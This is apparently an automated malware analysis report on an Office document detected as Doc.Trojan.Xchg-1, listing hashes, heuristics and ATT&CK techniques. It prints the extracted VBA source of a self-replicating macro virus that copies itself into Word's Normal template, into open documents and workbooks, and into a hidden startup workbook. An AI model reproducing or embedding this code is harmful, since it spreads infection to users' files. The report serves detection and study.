Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6ccebabbd6f6215…

MALICIOUS

Office (OLE)

31.5 KB Created: 2000-01-31 01:56:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d8261e056d9733a12356abf961ce9745 SHA-1: 67668de5389049da4320febdd76eed67d54ee527 SHA-256: c6ccebabbd6f6215bc19d477a1ae4e7cafe8198b26ca3288caf0f14db37c2855
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The script attempts to infect other Office documents by copying its code into them and also attempts to establish persistence by writing to the registry Run key. The ClamAV detection 'Doc.Trojan.Xchg-1' and the presence of VBA macros with CreateObject calls strongly indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Xchg-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xchg-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4191 bytes
SHA-256: e67a0ebda9b5729597fcc355958c797c17821af28a2d368bb8f68ceb6f4c0d3c
Detection
ClamAV: Doc.Trojan.Xchg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xchg"
Rem Name:   Office97Macro.Xchange
Rem Author: jack twoflower LineZer0/Metaphase
Rem Date:   May 1999



Sub InfExcel()
Set Host = CheckForRefExcel
VirusLength = Host.VBComponents("xchg").CodeModule.CountOfLines
VirusCode = Host.VBComponents("xchg").CodeModule.Lines(1, VirusLength)

Set Active_ = ActiveWorkbook.VBProject.VBComponents

For i = 1 To Active_.Count
    If Active_(i).Name = "xchg" Then AlreadyInf = True
Next

If AlreadyInf <> True Then
    Active_.Add (vbext_ct_StdModule)
    Active_(Active_.Count).Name = "xchg"
    Active_("xchg").CodeModule.AddFromString VirusCode
    ActiveWorkbook.SaveAs ActiveWorkbook.FullName
End If

If UCase(Dir(Application.StartupPath & "\TheBook.xls")) <> "THEBOOK.XLS" Then
    Workbooks.Add.SaveAs Application.StartupPath & "\TheBook.xls"
    Workbooks("TheBook.xls").VBProject.VBComponents.Add (vbext_ct_StdModule)
    Workbooks("TheBook.xls").VBProject.VBComponents(Workbooks("TheBook.xls").VBProject.VBComponents.Count).Name = "xchg"
    Workbooks("TheBook.xls").VBProject.VBComponents("xchg").CodeModule.AddFromString VirusCode
    Windows("TheBook.xls").Visible = False
    Workbooks("TheBook.xls").Save
End If

End Sub

Sub InfExcelCross()

Set Host = CheckForRefWord
VirusLength = Host.VBComponents("xchg").CodeModule.CountOfLines
VirusCode = Host.VBComponents("xchg").CodeModule.Lines(1, VirusLength)

Set xl = CreateObject("excel.application")
Set work = xl.Workbooks.Add

work.VBProject.VBComponents.Add (vbext_ct_StdModule)
work.VBProject.VBComponents("Modul1").CodeModule.AddFromString VirusCode

work.SaveAs xl.StartupPath & "\TheBook.xls"

xl.Quit

End Sub

Sub InfWord()

Set Host = CheckForRefWord
VirusLength = Host.VBComponents("xchg").CodeModule.CountOfLines
VirusCode = Host.VBComponents("xchg").CodeModule.Lines(1, VirusLength)

Set Normal_ = NormalTemplate.VBProject.VBComponents
Set Active_ = ActiveDocument.VBProject.VBComponents

For i = 1 To Normal_.Count
    If Normal_(i).Name = "xchg" Then NorIns = True
Next i
For j = 1 To Active_.Count
    If Active_(j).Name = "xchg" Then ActIns = True
    MsgBox Active_(j).Name
Next j

If NorIns <> True Then
    Normal_.Add (vbext_ct_StdModule)
    Normal_(Normal_.Count).Name = "xchg"
    Normal_("xchg").CodeModule.AddFromString VirusCode
    NormalTemplate.Save
End If

If ActIns <> True Then
    Active_.Add (vbext_ct_StdModule)
    Active_(Active_.Count).Name = "xchg"
    Active_("xchg").CodeModule.AddFromString VirusCode
    ActiveDocument.SaveAs ActiveDocument.FullName
End If
End Sub

Sub InfWordCross()

Set Host = CheckForRefExcel
VirusLength = Host.VBComponents("xchg").CodeModule.CountOfLines
VirusCode = Host.VBComponents("xchg").CodeModule.Lines(1, VirusLength)

Set wd = CreateObject("word.application")

wd.NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
wd.NormalTemplate.VBProject.VBComponents("Modul1").CodeModule.AddFromString VirusCode

wd.NormalTemplate.Save

wd.Quit

End Sub

Function CheckForRefExcel()

Set CheckForRefExcel = ActiveWorkbook.VBProject

For i = 1 To CheckForRefExcel.References.Count
    If CheckForRefExcel.References(i).Name = "VBIDE" Then AlreadyRef = True
Next

If AlreadyRef = False Then CheckForRefExcel.References.AddFromGuid "{0002E157-0000-0000-C000-000000000046}", 1, 0
End Function

Function CheckForRefWord()

If MacroContainer = NormalTemplate Then Set CheckForRefWord = NormalTemplate.VBProject
If MacroContainer = ActiveDocument Then Set CheckForRefWord = ActiveDocument.VBProject

For i = 1 To CheckForRefWord.References.Count
    If CheckForRefWord.References(i).Name = "VBIDE" Then AlreadyRef = True
Next

If AlreadyRef = False Then CheckForRefWord.References.AddFromGu
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.